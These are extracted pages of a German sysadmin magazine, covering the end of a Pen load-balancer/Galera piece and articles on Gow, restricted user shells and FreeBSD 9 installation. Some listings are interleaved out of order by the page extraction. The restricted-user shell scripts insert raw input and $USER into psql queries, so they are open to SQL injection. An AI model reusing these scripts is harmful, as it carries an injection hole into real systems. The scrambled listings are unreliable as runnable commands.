und diese bei Gelegenheit zu 

aktivieren. Dazu muss Pen sauber gestoppt 

werden: 

kill ‐TERM `cat pen.pid` 

Fällt ein Backend-Server oder der Galera- 

Knoten ganz aus, stellt Pen dies fest und 

leitet den Traffic entsprechend um. Ist ein 

Galera-Knoten aber gerade dabei, einen 

SST durchzuführen und daher für die 

Applikation nicht nutzbar, oder sollen 

Listing 12: Abfrage des PEN-Loadbalancers 

01 ./penctl localhost:4444 mode 

am entsprechenden Knoten Unterhaltsarbeiten 

durchgeführt werden, empfiehlt es 

sich, ihn in Pen zu deaktivieren, indem er 

für eine bestimmte Zeit auf eine Blacklist 

gesetzt wird: 

./penctl localhost:4444 server 0 U 

blacklist 7200 

Fazit 

Am Ende läuft nun ein durchgängig 

hochverfügbarer Galera Cluster. Wird 

der Loadbalancer nicht direkt vor die 

Applikation geschaltet, sollte er gegebenenfalls 

noch hochverfügbar ausgelegt 

werden. Dies kann beispielsweise mit 

dem »vrrpd« [10] oder anderen gängigen 

Cluster-Lösungen erreicht werden. 

Natürlich lässt sich anstelle von PEN jeder 

beliebige andere Loadbalancer verwenden. 

(jcb) 

n 

02 no block no delayed_forward no hash roundrobin no stubborn weight no prio 

03 

04 ./penctl localhost:4444 servers 

Listing 11: Installation und Start des PEN 

01 wget http://siag.nu/pub/pen/pen‐0.18.0.tar.gz 

02 tar xf /download/pen‐0.18.0.tar.gz 

03 cd pen‐0.18.0/ 

04 ./configure 

05 make 

06 make install 

05 0 addr 192.168.56.101 port 3306 conn 1 max 100 hard 0 weight 0 prio 0 sx 1245356 rx 1753808 



07 

08 Start mit: 

09 

Listing 10: Entfernen eines Knotens 

01 echo 192.168.56.101:3306:0 | nc ‐q 1 127.0.0.1 4444 

02 echo getinfo | nc ‐q 1 127.0.0.1 4444 

03 Router: 

04 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 

05 Address : weight usage conns 

06 192.168.56.101:3306 : 0.000 1.000 0 

07 192.168.56.102:3306 : 1.000 0.667 2 

08 192.168.56.103:3306 : 1.000 0.667 2 

09 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 

10 Destinations: 3, total connections: 4 

10 ./pen ‐r ‐p pen.pid ‐C localhost:4444 ‐S 3 \ 

11 localhost:3306 192.168.56.101:3306:100 \ 

12 192.168.56.102:3306:100 192.168.56.103:3306:100 


Admin 


93

Basics 

Gow 

© Markus Gann, 123RF 

GNU-Tools unter Windows 

In Harmonie 

Viele Admins sind für heterogene IT-Landschaften verantwortlich. Wer 

auch unter Windows die geliebte Bash und GNU-Werkzeuge verwenden 

will, kann entweder die Cygwin-Kompatibilitätsschicht installieren oder 

einmal die schlankere Alternative Gow ausprobieren. Thomas Drilling 

Was administrative Tätigkeiten angeht, 

gehören die Bash und die GNU-Tools für 

viele Administratoren zu den unverzichtbaren 

Standard-Werkzeugen für Routine- 

Aufgaben. Die von Brian Fox 1987 entwickelte 

Unix/Linux-Kommando-Shell 

Bash gehört seit mehr als 20 Jahren unbestreitbar 

zu den leistungsfähigsten und 

beliebtesten Vertretern ihrer Zunft und 

erschließt Admins Unix-artiger Betriebssysteme 

jeglicher Couleur den Zugang 

zur Systemebene und zwar nicht nur 

aufgrund der eingebauten Befehle und 

Kommandos. Durch die Möglichkeit der 

Programmierung mit Shellskripten lassen 

sich ständig wiederkehrende Kommandos 

auf elegante Weise zusammenfassen oder 

Programme schreiben, die auch komplexe 

und intelligente Aufgaben erledigen. 

Neben „internen“ Bash-Kommandos erlauben 

die Kontrollstrukturen der Bash 

auch das Aufrufen einschlägiger GNU- 

Tools, die in der Regel den Löwenanteil 

aufwendiger Bash-Skripte ausmachen. So 

ist die Möglichkeit, Bash und GNU-Tools 

auch zur Steuerung und Administration 

von Windows-Rechern einsetzen zu können, 

in mehrfacher Hinsicht interessant. 

Zum einen ist die Bash, allein aufgrund 

der internen Befehle und Kontrollstrukturen 

ungleich mächtiger als eine einfache 

Windows-„Eingabeaufforderung“, schon 

was einfache Dateisystemoperationen 

angeht. Erst langsam hält mit der Powershell 

ein vergleichbar leistungsfähiges 

Werkzeug in der Windows-Welt Einzug. 

GNU auf Windows 

Tools wie Gow erschließen auch unter 

Windows den Zugang zu einer Vielzahl 

leistungsfähiger GNU-Tools, darunter 

Klassiker zur Textmanipulation, leistungsfähige 

Dateisystem-Tools sowie die 

wichtigsten SSH-Tools. Ganz nebenbei 

ermöglicht es das Gow-Tool auch Anwendern, 

die einen Umstieg von Windows 

auf Linux erwägen, sich vorab unter Windows 

mit der Unix-Verzeichnisstruktur 

und der Bash-Kommandozeile vertraut 

zu machen, ohne dazu einen Emulator 

oder eine virtuelle Maschine installieren 

zu müssen. 

Gow statt Cygwin 

Das von Brent Matzelle entwickelte, auf 

Github gehostete Gow [1] (GNU on Windows) 

ist als kompakte Alternative zu 

Cygwin konzipiert. Gow ist freie Software, 

unterliegt der MIT-Lizenz. Cygwin 

dagegen ist eine Kompatibilitäts-Schicht, 

die unter Windows substanzielle Linux- 

API-Aufrufe zur Verfügung stellt. Wer 

Cygwin nicht kennt, findet im Kasten 

„Alternativen“ eine kurze Zusammenfassung. 

Gow bringt ähnlich wie Cygwin 

derzeit 138 Unix-Tools auf den Windows- 

Desktop, ist aber mit seinen knapp 10 

MByte deutlich kompakter als der 100 

MByte-Brocken Cygwin und lässt sich 

auch deutlich einfacher installieren. 

Gow stellt neben der Shell/Shell-Skripting-Funktionalität 

(Bash und ZSH) GNU- 

Tools aus den Bereichen Text-Manipulation 

(»grep«, »agrep«, »less«, »cat«, »tail«, 

»head«), Dateiverwaltung (»mv«, »cp«, 

»du«, »ls«, »pwd«, »rmdir«, »whereis«), 

Download/Upload (Curl, Wget, NcFTP), 


Gow 

Basics 

Abbildung 2: Diese Tools und Kommandos stellt Gow zur Verfügung. 

Abbildung 1: Unix auf Windows im Handumdrehen: Gow lässt sich ebenso einfach 

installieren wie jedes x-beliebige Windows-Tool. 

SSH (»putty«, »psftp«, »pscp«, »pageant«, 

»plink«), Kompression (»gzip«, »zip«, 

»bzip2«, »compress«) und Entwicklung 

(»make«, »diff«, »diff3«, »sleep«, »cvs«, 

»dos2unix«, »unix2dos«) sowie den beliebten 

und leistungsfähigen Editor »vim«, 

zur Verfügung. Zur Installation muss der 

Admin lediglich die 6 MByte kleine Installationsdatei 

der momentan aktuellen 

Version 0.5.0 herunterladen [2], doppelklicken 

und die Lizenzbestimmungen 

akzeptieren (Abbildung 1). 

Minimal oder optimal 

Im Folgeschritt des Installationsassistenten 

hat der Admin die Wahl zwischen 

einer Default- und einer Minimal-Installation. 

Letztere enthält nur die Core- 

Komponenten. 

Nach Auswahl des Installationsverzeichnisses 

im Folgeschritt schaufelt der 

Alternativen 

n Mobaxterm: Das im Heft 03/12 [3] vorgestellte 

Tool „MobaXterm“ [4] ist ein portabler 

X-Server für Windows, der im Kern 

ebenfalls auf der Cygwin-Kompatibilitätsschicht 

aufsetzt und mit „Cygwin/X“ auch 

eine Portierung des X.Org-Servers auf die 

Cygwin-Umgebung mitbringt. 

n Cygwin: Dreh- und Angelpunkt der Cygwin- 

Kompatibilitätsschicht ist die DLL »cygwin1. 

dll«, die wichtige Unix-API-Aufrufe unter 

Windows implementiert. So lassen sich 

mithilfe von Cygwin Programme für POSIX- 

Assistent die zugehörigen 

Binärdateien 

auf die Festplatte 

und passt 

freundlicherweise 

die Windows- 

PATH-Variable an, 

sodass sämtliche 

Tools über die 

Standard-Kommandozeile erreichbar 

sind. 

Das gilt auch für die Linux-Shell (Bash) 

zu deren Start der Admin lediglich in 

der Windows-Shell „cmd“ »Bash« eingibt. 

Das funktioniert allerdings erst nach 

einem Neustart des Windows-Rechners 

und vollzieht sich völlig unspektakulär 

direkt im cmd-Fenster, das quasi nur sein 

PROMP-Erscheinungsbild ändert, sofern 

der Admin im Installer die Default-Konfiguration 

gewählt hat. 

Beim ersten Start ist es allerdings 

erforderlich mit »mkdir /tmp« ein 

temporäres Verzeichnis anzulegen, 

was bereits mit dem Unix-Kommando 

»mkdir« erfolgt. Ist das erfolgt, stehen 

die meisten erwähnten Bash-Befehle zur 

Verfügung. Eine Übersicht aller übrigen 

verfügbaren Unix-Kommandos liefert 

»gow.bat ‐l« (Abbildung 2). Sämtliche 

für Gow portierten Unix-Tools befinden 

Systeme wie Unix, Linux oder BSD nach 

Windows portieren. Mit Cygwin übersetzte 

Posix-Programme laufen dann unter nahezu 

allen Windows-Versionen, seit Cygwin-Version 

1.7 auch unter Windows 7 und Windows 

Server 2008. 

n GNU Utilities for Win32: Sie stellen die wichtigsten 

GNU-Tools unter Windows zur Verfügung, 

wobei sich jedes einzelne in Form 

einer Exe-Datei mit einem Klick von der 

Sourceforge-Projektseite [4] herunterladen 

und installieren lässt. 

sich im Unterverzeichnis »bin« des bei 

der Installation angegeben Pfades. Tools, 

die über eine eigene Benutzerschnittstelle 

verfügen, wie »putty« oder »ncp« lassen 

sich dann auch per Doppelklick starten. 

Fazit 

Gow ermöglicht es wie das bekannte Cygwin, 

die Bash sowie zahlreiche GNU- 

Tools unter Windows zu verwenden. Im 

Vergleich ist Gow aber viel kompakter, 

einfach zu installieren und wird zudem 

aktiv gepflegt, was unter anderem auch 

die enthaltenen Programme mit Updates 

versorgt. 

Abgesehen von Make fehlen aber die Entwicklungs-Tools 

wie der GNU-Compiler, 

auf die der Anwender dann doch auf 

Cygwin zurückgreifen muss. (ofr) n 

Infos 

[1] GoW auf Github: 

[https:// github. com/ bmatzelle/ gow] 

[2] GoW Download: [https:// github. com/ 

bmatzelle/ gow/ downloads] 

[3] Thomas Drilling. Mobaxterm, ADMIN 03/ 

2012: [http:// www. admin‐magazin. de/ 

Das‐Heft/ 2012/ 03/ Mobaxterm‐bringt‐Linux 

‐Feeling‐auf‐den‐Windows‐Desktop] 

[4] GNU Utilities for Win32: [http:// gnuwin32. 

sourceforge. net/ packages. html] 

Der Autor 

Thomas Drilling ist seit mehr als zehn Jahren 

hauptberuflich als freier Journalist und Redakteur 

für Wissenschafts- und IT-Magazine tätig. Er 

selbst und das Team seines Redaktionsbüros verfassen 

regelmäßig Beiträge zu den Themen Open 

Source, Linux, Server, IT-Administration und Mac 

OSX. Außerdem arbeitet Thomas Drilling als Buchautor 

und Verleger, berät als IT-Consultant kleine 

und mittlere Unternehmen und hält Vorträge zu 

Linux, Open Source und IT-Sicherheit. 


Admin 


95

Basics 

User Restrictions 

© lightwise, 123RF 

Benutzer vor Abwegen im System bewahren 

Benutzer 

gut geführt 

Normal konfigurierte Desktops verwirren manche Anwender oder erlauben 

die Nutzung beliebiger Programme. Auch abseits der grafischen Benutzeroberfläche 

entlastet ein geführter Benutzer den EDV-Betreuer und 

sorgt für höhere Produktivität. Harald Zisler 

Typischerweise sollen Anwender auf 

Firmen-Desktops nicht alles machen 

können, was ihnen gerade einfällt. Dem 

schiebt normalerweise das gewohnte 

Unix-Rechtesystem einen Riegel vor. Der 

Zugriff auf Anwendungen kann aber für 

jeden Benutzer auch abseits der Gruppenzugehörigkeit 

im Dateisystem geregelt 

werden. Die Wartung und Pflege der 

Programme bleibt mit den hier im Artikel 

gezeigten Maßnahmen für den Systembetreuer 

im üblichen Rahmen. Betriebliche 

Gegebenheiten lassen sich in der 

IT abbilden. 

Eines oder mehrere der genannten Szenarien 

sprechen für die Einschränkung des 

Programmzugriffs: 

n Personen ohne grundlegende EDV- 

Kenntnisse sollen einzelne Aufgaben 

am Rechner übernehmen. 

n Rechner mit sensiblen Anwendungen 

und Daten werden dadurch abgesichert, 

dass den Benutzern nur die nötigsten 

Programme auf den Desktop 

angeboten werden. Gegebenenfalls 

wird sogar der Shellzugriff entzogen, 

damit die Nutzung auf die angebotenen 

Programme beschränkt bleibt. 

n Einrichtung von Spezialbenutzern mit 

einer oder wenigen Aufgaben. 

n Datenschutz: Jeder Mitarbeiter kann 

nur die Programme benutzen, die er je 

nach seiner Rolle im Betrieb benötigt. 

n Vermeidung des Einschleppens eigener 

Programme (Spiele, Multimedia 

…..) auf die betriebliche EDV-Anlage. 

Einen besonderen Anwendungsfall des 

„geführten“ Benutzers stellt das Absetzen 

eines einzigen Kommandos dar. 

Befindet sich beispielsweise in einem 

Filialbetrieb kein Systembetreuer, kann 

trotzdem jemand vom örtlichen Personal 

einen Linuxserver nach Aufforderung herunterfahren 

(Benutzer »aus« ) oder neu 

starten. Die übliche Tastenkombination 

[Strg]+[Alt]+[Entf] wurde im Beispiel 

deaktiviert. 

Für dieses Beispiel muss das Paket »sudo« 

installiert werden. Der Benutzer »aus« 

wird vom Administrator Root angelegt 

und bekommt anschließend einen Eintrag 

in der Datei »/etc/sudoers«. Hierzu 

sollte man unbedingt das Programm 

»visudo« benutzen, das die Syntax der 

Datei überprüft. Andernfalls sperrt man 

sich bei Syntaxfehlern leicht aus dem 

System aus, wenn man keinen extra Root- 

Account besitzt. 

Der Benutzer »aus« soll von jedem Rechner 

aus dem lokalen Netzwerk den Server 

herunterfahren können. Damit nach Eingabe 

des Benutzerpasswortes der Anwender 

keine Chance hat, in den Genuss des 

Shellzugriffes zu kommen, wird auf die 

Eingabe des Kennwortes für den sudo- 

Zugriff verzichtet. Der Eintrag in »/etc/ 

sudoers« lautet deshalb: 

aus ALL = 

NOPASSWD: /sbin/init 

Bei Debian und Derivaten davon liegen 

im Home-Verzeichnis der Benutzer die 

Dateien ».bashrc« und ».profile« sowie 

».bash_logout«. Darin eingetragene Befehle 

werden in der Reihenfolge abgearbeitet, 

».bash_logout« erst beim Abmelden 

des Benutzers. In ».bashrc« werden 

die Kommandos zum Herunterfahren des 



Basics 

F Abbildung 1: Mit 

dem Trap-Befehl lässt 

sich in Shell-Skripten 

das Abbrechen einer 

Anwendung per 

[Strg]+[Z] verhindern. 

E Abbildung 2: Eine 

GUI-Anwendung kann 

auch als grafische 

Loginshell dienen. 

Systems und für die „Zwangsabmeldung“ 

am Dateiende angehängt: 

sudo /sbin/init 0 

exit 

Damit ist der Sonderbenutzer einsatzklar. 

Dialoganwendung 

Hier soll der eingeschränkte Benutzer 

eine einzige Anwendung ausführen. Sie 

wird direkt als Ersatz-Login-Shell gestartet, 

der entsprechende Eintrag in »/etc/ 

passwd« lautet hierfür 

inventur1:x:1012:1012:,,,:/home/U 

inventur1:/home/inventur1/erfass.sh 

Für Inventurarbeiten trägt »inventur1« 

per Hand oder Barcode-Leser eine Artikelnummer 

mit Stückzahl in eine Maske 

ein. Auch in diesem Beispiel soll der 

Anwender keinen direkten Shellzugriff 

erhalten. Das Problem liegt darin, die 

Tastenkombination [Strg]+[Z] abzufangen, 

welche die laufende Anwendung 

in den Hintergrund schiebt. Dies 

übernimmt das »trap«-Kommando. Wird 

die Tastenkombination ausgelöst, soll das 

Programm einfach weiterarbeiten. Dazu 

fügt man in das Shellskript die Zeile 




ADMIN-Magazin – für alle IT-Administratoren 

Bei uns wird SICHERHEIT groß geschrieben 

HOME DAS HEFT MEDIADATEN KONTAKT NEWSLETTER ABO 

Linux I Windows I Security I Monitoring I Storage I Datenbanken I Mailserver I Virtualisierung 

SECURITY 

Server-Systeme richtig abzusichern 

gehört zu den Hauptaufgaben jedes 

Administrators. Sei es durch Firewalls, 

Intrusion-Detection-Systeme oder Mandatory 

Access Control mit SELinux. 

Besonderes Augenmerk richtet ADMIN 

auf die Absicherung von Webservern, 

die heute mit SQL-Injection, Cross Site 

Scripting und Request Forgery bis zu 

90% der Sicherheitslücken ausmachen. 

Suchen 

Diese Website durchsuchen: 

Security 

➔ über 100 Ergebnisse! 

Themen 

Suchen 

Windows Verschlüsselung Datenbank 

IDS Dateisysteme Linux Monitoring 

Storage Webserver Virtualisierung 

Nobilior, Fotolia 


Admin 


97

Basics 


01 #! /bin/sh 

02 trap '' 20 

03 while true 

04 do 

05 

»trap '' 20« ein. Der Benutzer »inventur1« 

benutzt in Abbildung 1 die Tastenkombination 

[Strg]+Z, die aber durch diese 

Zeile ignoriert wird. Das Shellskript wird 

im Listing 1 gezeigt. Die Tastenkombination 

[Strg]+[C] beendet dieses kleine 

Programm. 

Nutzung einer einzelnen 

GUI-Anwendung 

Die Beschränkung für Benutzer, eine 

einzige GUI-Anwendung zu betreiben, 

funktioniert ähnlich wie beim vorigen 

Beispiel. Hier entfällt die Notwendigkeit, 

die Tastenkombination [Strg]+[Z] zu deaktivieren. 

Der Benutzer »surf« bekommt 

die Anwendung »opera« als Login-Shell 

Listing 1: Spezialanwendung 

06 echo " " 

07 echo ‐n "Artikelnummer: ";read artnr 

08 psql ‐x ‐c "select * from artikel where artnr = 

$artnr;" 

09 echo ‐n "Weiter [*] ";read wn 

10 echo " " 

11 echo ‐n " Anzahl/Menge: ";read menge 

12 echo ‐n "Einbuchen [*] ";read einbu 

13 if [ "$einbu" = "*" ]; 

14 then 

15 psql ‐c "insert into bestand values 

($artnr, $menge);" 

16 fi 

17 

18 done 

(mit absoluter Pfadangabe) in »/etc/ 

passwd« zugewiesen. Mittels »ssh« wird 

über das lokale Netzwerk zugegriffen. 

Abbildung 2 zeigt den begleitenden Verlauf 

auf der Shell und die Anwendung. 

Schließt der Benutzer die Anwendung, 

wird er abgemeldet. 

Desktop-Menü 

Darf der Benutzer mehrere Programme 

verwenden, benötigt man ein Auswahlmenü. 

Ein Shellskript dient dazu, dieses 

Menü per »9menu« anzuzeigen. In nur 

einer Skriptzeile findet sich das ganze 

Angebot erlaubter Software. Gegenüber 

klassischen Desktoplösungen verbraucht 

»9menu« auch wenige Rechnerressourcen. 

Das Shellskript (Listing 2) wird 

mit den folgenden Zeilen von der Datei 

».bashrc« aufgerufen: 

/home/buero/start.sh 

exit 

Wichtig ist die absolute Pfadangabe des 

Shellskripts. In Listing 2 »start.sh« fängt 

der Trap-Befehl wieder den Abbruch über 

die Tastatur ab (Signal 2, [Strg]+[C]). 

Das Shellskript lässt sich auch beim Anmelden 

aus einer Datenbank heraus erzeugen. 

Damit kann man zentral in einer 

Datenbank festlegen, welcher Mitarbeiter 

welches Programm benutzt. Die notwendige 

Ergänzung von ».bashrc« zeigt das 

Listing 3. 

Die Verlängerung von ».bashrc« im Listing 

3 macht das „verborgene“ Shellskript 

».start.sh« zunächst beschreibbar. 

Der »echo«-Befehl erzeugt die ersten 

Zeilen. Das Menü selbst wird mittels 

der drei Variablen erzeugt. »$a« und 

»$c« bilden den Anfang und Schluss der 

Menüzeile. »$b« bezieht seinen Inhalt aus 

der Datenbankabfrage. Das Skript wird 

anschließend nur les- und ausführbar 

gemacht. Die so erzeugte Sitzung zeigt 

die Abbildung 3. 

Nicht hackersicher 

Das Beispiel 4 schützt nicht vor den 

bösartigen Eingriffen qualifizierter 

Benutzer. Es hilft aber, „normale“ 

Benutzer nicht auf unerwünschte Abwege 

gelangen zu lassen. Solange man 

keinen Zugriff auf die Shell und Dateimanager 

gewährt, sind die Hürden, die 

Beschränkungen zu umgehen, für die 

meisten Mitarbeiter zu hoch. 

Im Zusammenspiel mit einer Dienstanweisung 

oder Betriebsvereinbarung, die 

jede Umgehung sanktioniert, dürfte das 

Ziel erreicht werden: Jeder Benutzer 

nutzt nur die Programme, die er für seine 

Arbeit wirklich braucht. (ofr) n 

Der Autor 

Harald Zisler beschäftigt sich seit den frühen 

90er-Jahren beruflich und privat mit FreeBSD 

und Linux. Zu Technik- und EDV-Themen verfasst 

er Zeitschriftenbeiträge und Bücher. Aktuell ist 

sein Werk „Computer-Netzwerke“, erschienen 

bei Galileo Press. 

Listing 2: Desktop-Menü 

01 #! /bin/sh 

02 trap '' 2 

03 9menu ‐label 'test' openoffice.org gimp gedit exit 

Listing 3: Menü aus Datenbank 

01 chmod 700 .start.sh 

02 echo "#! /bin/sh" > .start.sh 

03 echo "trap '' 2" >> .start.sh 

04 a="9menu ‐label '$USER' " 

05 b=`psql ‐t ‐d personal ‐c "select prog from personal 

where ma='$USER';"` 

06 c="exit" 

07 echo $a $b $c >> .start.sh 

08 chmod 500 .start.sh 

09 /home/buero/.start.sh 

10 exit 

Abbildung 3: Datenbankgeneriertes Menü. 


FreeBSD 

Basics 

© my123rf88, 123RF 

FreeBSD 9 installieren und testen 

Gegenstück 

Die Alternative zu Windows und Mac muss nicht immer Linux sein. Mit dem Open-Source-Betriebssystem FreeBSD 

9 gibt es ein weiteres leistungsfähiges und kostenloses Unix-System, das dieser Artikel näher vorstellt. Thomas Joos 

Ursprünglich basierte FreeBSD auf dem 

386BSD für PCs, das wiederum Teile des 

Programmcodes dem BSD Unix der University 

of California entliehen hatte. Seit 

mehr als 20 Jahren wird es nun von einer 

großen Entwicklergemeinde ständig weiterentwickelt 

und ist eines der größten 

Open-Source-Projekte. 

FreeBSD ist bei vielen Anwendern wegen 

seiner hohen Sicherheit, der Stabilität und 

der schnellen Netzwerkanbindung beliebt. 

FreeBSD war auch eines der ersten 

Betriebssysteme mit IPv6-Unterstützung. 

Viele Webserver verwenden FreeBSD, 

zum Beispiel auch große Anbieter wie 

Yahoo, Strato, Experts Exchange und 

Apache. In der Netcraft-Wertung der zuverlässigsten 

Webhoster belegt FreeBSD 

drei der ersten fünf Plätze. Viele große 

Unternehmen setzen intern auf FreeBSD, 

zum Beispiel Apple, Cisco oder Juniper. 

Mac OS X baut zu Teilen ebenfalls auf 

FreeBSD auf. 

Das Betriebssystem ist zwar für Server 

optimiert, lässt sich aber problemlos 

auch auf dem Desktop installieren. Dazu 

stehen zum Beispiel Gnome und KDE 

zur Verfügung. Auf der Webseite [1] steht 

jeweils die aktuelle FreeBSD-Version als 

ISO-Datei für 32 Bit und 64 Bit zur Verfügung. 

Auch ältere Editionen stehen hier 

zum Download bereit. 

FreeBSD unterstützt Netzwerkprotokolle 

wie 802.1q, VLANs, PPP, L2TP. Auch 

Technologien wie 10-Gigabit-Ethernet, 

WLAN, ATM, ISDN, FDDI und UMTS sind 

mit FreeBSD problemlos möglich. Mit der 

Virtualisierungstechnologie der Jails erlaubt 

es FreeBSD, Subsysteme komplett 

isoliert voneinander zu betreiben und 

damit die Sicherheit zu steigern. 

Durch die starke Spezialisierung auf 

Netzwerksicherheit und ‐geschwindigkeit 

verwenden auch viele Switches 

und Router FreeBSD als Betriebssystem, 

auch Geräte von namhaften Herstellern 

wie Cisco, Juniper oder Netapp. Das 

OS ist kompatibel zu x86- und AMD64- 

Systemen, inklusive Opteron, Athlon64 

und EM64T, UltraSPARC-, IA-64, PC-98- 

sowie ARM-Architekturen. 

USB 2.0, Bluetooth, PCMCIA, SCSI- und 

S-ATA-RAID-Controller werden ebenfalls 

unterstützt. Der Kernel beherrscht Stateful 

IP-Firewalling, IP Proxy Gateways und 

verschiedene Verschlüsselungstechnologien. 

Neben Webserver-Software steht in 

FreeBSD natürlich die ganze Palette von 

anderen Internet-Diensten zur Verfügung, 

etwa Mailserver, FTP-Server, SSH und so 

weiter. Die Installation erfolgt als Port 

oder als Paket. 

Besserer SSD-Support 

Wer eine Vorgängerversion von FreeBSD 

9 einsetzt, sollte ein Update in Betracht 

ziehen. Die neue Version unterstützt nicht 

nur mehr Hardware, sondern bringt auch 

die aktuellere Version 28 des von Solaris 

stammenden Dateisystems ZFS mit. Sie 

erkennt beispielsweise duplizierte Daten 

und hilft somit, Storage-Platz zu sparen. 

Die neue Version unterstützt auch 

RAID-Systeme mit dreifacher Parität 

(RAIDz3). 

Das Fast File System (FFS) in FreeBSD 

erhält die Dateisystemerweiterung Softupdates, 

was Datenverlust bei Plattencrashes 

verhindern soll. Nun unterstützt 

das FFS auch den TRIM-Befehl für SSD- 

Festplatten. Neben dem Alignment, dem 

optimalen Verhältnis zwischen Startpartition 

und Flashzellen, spielt TRIM eine 

Schlüsselrolle bei der Performance von 

SSDs. Bei SSDs müssen Speicherblöcke 

komplett gelöscht werden, bevor sie 

sich neu beschreiben lassen. Die TRIM- 

Technologie des Betriebssystems teilt 

der SSD mit, welche Speicherblöcke die 

Platte löschen darf. Mehr dazu verrät der 

ADMIN-Artikel [2]. 

FreeBSD 9.0 unterstützt jetzt das Dateisystem 

Highly Available Storage (HAST), 

mit dem sich hochverfügbare Dateisysteme 

im Netzwerk betreiben lassen [3]. 

Dazu speichert das Betriebssystem die 

Daten transparent gleichzeitig auf zwei 

getrennten Hosts im Netz. Damit entsteht 

eine Art RAID1-Mirror im lokalen Netz. 

Der TCP/IP-Stack unterstützt neue Treiber, 

zum Beispiel die Chipsätze Atheros 

AR8121, AR8113 und AR8114. WLAN- 

Verbindungen sind jetzt sicherer und 

stabiler, auch IPFilter, OpenSSH und 


Admin 


99

Basics 

FreeBSD 

OpenPAM wurden aktualisiert. Bei der 

Installation des Betriebssystems hat das 

neue BSDInstall den alten Installer abgelöst. 

Neu ist jetzt die Option, FreeBSD 

von einem USB-Stick aus zu installieren. 

Live-CD oder Installation 

Starten Administratoren einen Rechner 

mit dem FreeBSD-Installationsdatenträger, 

lässt sich direkt eine Live-Umgebung 

starten oder das System installieren (Abbildung 

1). Die Installation erfordert keine 

speziellen Kenntnisse und ist komplett 

assistentenbasiert. 

Beim Starten der Installation können 

Administratoren die Partitionierung der 

Festplatten manuell in der Shell mit einem 

Assistenten durchführen. Der manuelle 

Weg ist aber nicht ganz einfach 

und daher fehlerträchtig. Verwenden Sie 

den Assistenten, müssen Sie die Konfiguration 

aber nur mit »Finish« abnicken. 

Grundsätzlich legt der Assistent drei 

Partitionen an: »freebsd‐boot«, den Bootbereich 

auf der primären Partition des 

Rechners, »freebsd‐ufs«, das UFS-Dateisystem 

mit den Daten von FreeBSD, und 

»freebsd‐swap« für die Auslagerungsdatei. 

Weitere Einstellungen sind während 

der Installation zunächst nicht notwendig. 

Grundsätzlich ist FreeBSD eher ein 

sparsames Betriebssystem, das für die 

Grundausstattung nur knapp 1,1 GByte 

freien Plattenplatz benötigt. Wer allerdings 

eine grafische Oberfläche installieren 

möchte, sollte besser 3 bis 5 GByte 

einkalkulieren. 

FreeBSD 9 einrichten und 

verwenden 

Abbildung 1: Auswahl beim Starten von FreeBSD. 

Erkennt der BSD-Installer eine WLAN- 

Netzwerkkarte, können Sie bereits während 

der Installation das WLAN verwenden. 

FreeBSD 9 unterstützt dabei alle 

gängigen Verschlüsselungsmethoden, 

auch WPA2. In der Shell öffnen Sie das 

Konfigurationstool für FreeBSD mit dem 

Befehl »sysinstall«. Hierüber können Sie 

auch nachträglich Änderungen an der IP- 

Konfiguration vornehmen. Die Dokumentation 

der Entwickler ist sehr umfangreich 

und auch auf Deutsch verfügbar 

[4]. Hilfe findet sich aber nicht nur dort, 

sondern auch in Foren wie [5]. 

Anwendungen installieren 

Um Anwendungen zu installieren, verwenden 

Sie entweder die Ports-Sammlung 

zur Installation aus dem Quellcode 

(Abbildung 2) oder Pakete von bereits 

kompilierten Softwarepaketen. Aktuell 

sind über 23 000 Anwendungen über diesen 

Weg installierbar. Eine aktuelle Liste 

verfügbarer Anwendungen unterschiedlicher 

Kategorien führt [6]. FreshPorts [7] 

verfolgt Änderungen an Anwendungen. 

Sie können sich auf Wunsch E-Mails zusenden 

lassen, wenn sich Anwendungen 

ändern. Kennen Sie den Namen eines 

Programms, aber nicht dessen Speicherort, 

verwenden Sie in FreeBSD das 

Tool »whereis«, zum Beispiel »whereis 

lsof«. Mit »sysinstall« können Sie neben 

System einstellungen auch Pakete installieren, 

löschen und anzeigen. 

Für die Verwaltung der Pakete stehen in 

der Shell die Befehle »pkg_add«, »pkg_delete« 

oder »pkg_info« zur Verfügung. Der 

Port einer Anwendung ist eine Sammlung 

von Dateien, die das Kompilieren 

automatisieren. Bei der Installation über 

einen Port lädt FreeBSD den Quellcode 

der Anwendung automatisch herunter, 

entpackt, übersetzt und installiert ihn. 

Installieren Sie eine Anwendung, die 

von einer Bibliothek abhängt, erkennt 

FreeBSD diese und installiert die Abhängigkeiten 

automatisch. Wenn Sie eine Anwendung 

über Ports installieren, können 

Sie die Angabe der Optionen für FreeBSD 

optimieren. Sie können zum Beispiel die 

Anwendung für spezielle Prozessoren 

anpassen. 

Paketmanagement 

Mit »pkg_add« installieren Sie Pakete lokal 

oder über das Internet beziehungsweise 

das Netzwerk. Wenn die Pakete 

nicht lokal gespeichert sind, sondern aus 

dem Internet geladen werden müssen, 

verwenden Sie die Option »‐r« von »pkg_ 

add«. Das Werkzeug bestimmt dann automatisch 

das nötige Objektformat und 

die richtige Version des Pakets, lädt es 

dann von einem FTP-Server und installiert 

es. 

Pakete lädt FreeBSD automatisch vom 

festgelegten FreeBSD-Mirror herunter 

(Abbildung 3). Wollen Sie einen anderen 

Server verwenden, geben Sie ihn in der 

Ist die Installation abgeschlossen, besteht 

die Möglichkeit, Benutzer für das System 

anzulegen. Das ist natürlich auch 

jederzeit nachträglich möglich. FreeBSD 

schlägt dazu auch Standardeingaben vor, 

die Sie lediglich bestätigen müssen. Im 

Rahmen der Einrichtung legen Sie auch 

die Netzwerkverbindung fest. Sie können 

entweder manuell IPv4- und IPv6-Adressen 

festlegen oder das Netzwerk über 

DHCP konfigurieren. Die Konfiguration 

können Sie auch nachträglich anpassen, 

zum Beispiel wenn Sie Gnome 2.32.1 

oder KDE 4.7.3 als grafische Benutzeroberfläche 

installieren. 

Abbildung 2: Neben Binärpaketen bietet FreeBSD mit den Ports einen Weg, alle Software selbst zu kompilieren. 


FreeBSD 

Basics 

Umgebungsvariablen »PACKAGESITE« 

an. Die Dateien werden mit »fetch« heruntergeladen. 

Geben Sie bei »pkg_add« 

nicht die Version eines Programms an, 

lädt das Tool automatisch die neueste 

Version. Die installierten Pakete zeigt der 

